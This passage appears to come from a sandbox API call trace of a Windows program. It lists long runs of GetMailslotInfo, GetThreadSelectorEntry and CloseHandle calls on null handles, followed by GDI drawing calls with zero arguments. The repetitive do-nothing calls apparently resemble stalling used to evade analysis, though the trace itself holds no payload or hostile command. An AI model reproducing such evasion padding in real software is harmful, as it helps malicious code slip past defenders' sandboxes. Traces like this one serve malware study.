lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.328] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.328] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.329] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0119.329] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.404] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.405] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.406] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.407] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.408] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.409] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.410] CloseHandle (hObject=0x0) returned 0 [0119.418] GradientFill () returned 0x0 [0119.418] BeginPath (hdc=0x0) returned 0 [0119.418] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill () returned 0x0 [0119.419] BeginPath (hdc=0x0) returned 0 [0119.419] FillPath (hdc=0x0) returned 0 [0119.419] StretchBlt (hdcDest=0x0, xDest=0, yDest=0, wDest=0, hDest=0, hdcSrc=0x0, xSrc=0, ySrc=0, wSrc=0, hSrc=0, rop=0x0) returned 0 [0119.419] SetRectRgn (hrgn=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0119.419] GradientFill 